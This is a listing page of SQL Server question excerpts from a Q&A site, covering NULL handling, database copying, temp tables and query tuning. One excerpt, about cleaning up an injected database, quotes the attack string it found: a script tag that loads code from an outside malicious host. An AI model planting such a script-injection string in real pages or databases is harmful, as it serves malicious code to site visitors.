Questions tagged "sql-server" (page No.1)

Questions about handling NULLs and empty strings in nvarchar and numeric fields

I understand that questions similar to these pop up often around here. I have searched before posting these but I didn't find any QA threads that completely answer my questions. In a table, I basically have to treat NULLs, empty strings and (pure) whitespace as 'blanks' and count the number ...

Copy database fails while trying to copy login

I'm trying to copy a database from a server that lives in a unique domain, call it AMCO. The destination server, which is on domain BCO, is running sql server agent, and as far as I can tell everything is set up properly there. When I use the copy database feature of ...

QGIS crashing if a record has no geolocation

I have several tables in my scqlserver database that have records that may or may not have geolocation information (eg defined polygon or point feature). If I have such a layer in my qgis project file and I try to load it the layer causes QGIS to not load ...

Office/Access VBA and Macros

20 years ago, I developed a Pawnshop Management application with Informix-SQL. Most of my users also have Microsoft Office 2003, '07 and '10. My app exports data to a text file which Excel and Word pick up. I would like to convert my ISQL-based app to Access 2010, so that ...

Null and Not null in sql2008

I am using SQL Server Management Studio 2008 Sp2 and I need to add a column in the database. Can any one please let me know how I can use the columns "Allow Null" in the table? My requirement for this scenario is I want to add a column for the table ...

MSSQL 'NOT IN' Operator doesn't give expected results when comparing columns in two tables

I need to update a table from a temporary table. Therefore I need to compare and find out what lines are not in the main table to be imported from the temp table. My tables look like follows, line_id -> nvarchar(20) order_no -> nvarchar(20) line_no ->int Both tables have same fields but the temp table ...

How to search a MSSQL database for byte[]/varbinary using C# and MVC3

For a recent MVC3 project I ended up storing files in an MSSQL database as byte[] (MVC3 turns this into a varbinary(max) column). Once files are committed to the database, they will NEVER change. Now im trying to be real clever and avoid storing the same file multiple times even if ...

SQL Server stored procedure to update two databases on differrent servers

The two servers have exactly the same setup (databases/tables etc). I want one of the tables (on both servers) to have the same data. So the update procedure on server A should also be able to update server B. I want this to happen with each call to that update stored ...

SQL Server create ordered #Temp table

I try to create ordered #Temp table: WITH Ordered AS ( SELECT ROW_NUMBER() OVER (ORDER BY [Quality] DESC) AS RowNumber, ImageID, Quality, Border, IsBest FROM [CatalogImages].[dbo].[Images] ORDER BY Quality) SELECT * INTO #Temp FROM Ordered ; SELECT * FROM #Temp ; but I get error: Msg 1033, Level 15, State ...

SQL Injection in my database

Is it possible to write a query that goes through the entire database to search out a particular phrase to delete it, instead of going table by table? This is on a SQL Server 2008 Database that was injected. The following appears throughout the database tables: "></title><script src="http://lasimp04risoned.rr.nu/sl.php"></script><!-- This appears all over ...

Distinct Records Count Totals Group by Month

I have a table of users where I need to run a report and show how many times the users were entered into the system for each month in a given year. I have created a table where the first column returns the distinct users. Next, to the right, ...

SQL Server CONVERT does not convert time zone properly?

According to this MSDN article: "The optional time zone indicator, Z, is used to make it easier to map XML datetime values that have time zone information to SQL Server datetime values that have no time zone. Z is the indicator for time zone UTC-0. Other time zones are ...

which database is suited for deploying?

i want to use database in my application, but i dont want to add a prerequisite like sql server express with high size (i.e. 100 MB) in my final setup file, is there any way to use sql server without installing the express version or should i use another database ...

Automatically define the DataTable in C# from the schema of SQL server tables?

I already have some tables in SQL Server and I am writing a C# program to populate the tables from some flat files. I plan to use SQLBulkCopy to load the tables. It can be a lot of work to define all the columns for each DataTable for SQLBulkCopy. Is ...

effectively handling / troubleshooting large queries

i need to add another couple of left outer joins to my huge query. it's getting difficult for me because the query is too large for me to handle right now. i am wondering if there's some way to translate the query automatically in to venn diagrams. are there tools out ...

Select random values from each group, SQL

I have a project through which I'm creating a game powered by a database. The database has data entered like this: (ID, Name) || (1, PhotoID),(1,PhotoID),(1,PhotoID),(2,PhotoID),(2,PhotoID) and so on. There are thousands of entries. This is my current SQL statement: $sql = "SELECT TOP 8 * FROM Image WHERE Hidden = '0' ORDER BY ...

Copy database fails while trying to copy login

I'm trying to copy a database from a server that lives in a unique domain, call it AMCO. The destination server, which is on domain BCO, is running sql server agent, and as far as I can tell everything is set up properly there. When I use the copy database feature of ...

How to make this SQL query using IN (with many numeric IDs) more efficient?

I've been waiting over an hour already for this query, so I know I'm probably doing something wrong. Is there efficient way to tailor this query: ? select RespondentID, MIN(SessionID) as 'SID' from BIG_Sessions (nolock) where RespondentID in ( 1418283, 1419863, 1421188, 1422101, 1431384, 1435526, 1437284, 1441394, /* etc etc THOUSANDS */ 1579244 ) and EntryDate between ...

How easy is it to learn VBA if you're only familiar with procedural 4GL languages?

20 years ago, I developed a Pawnshop Management application with Informix-SQL. Most of my users also have Microsoft Office 2003, '07 and '10. My app exports data to a text file which Excel and Word pick up. I would like to convert my ISQL-based app to Access 2010, so that ...

« Previous12345678910 ... 27212722Next »Show All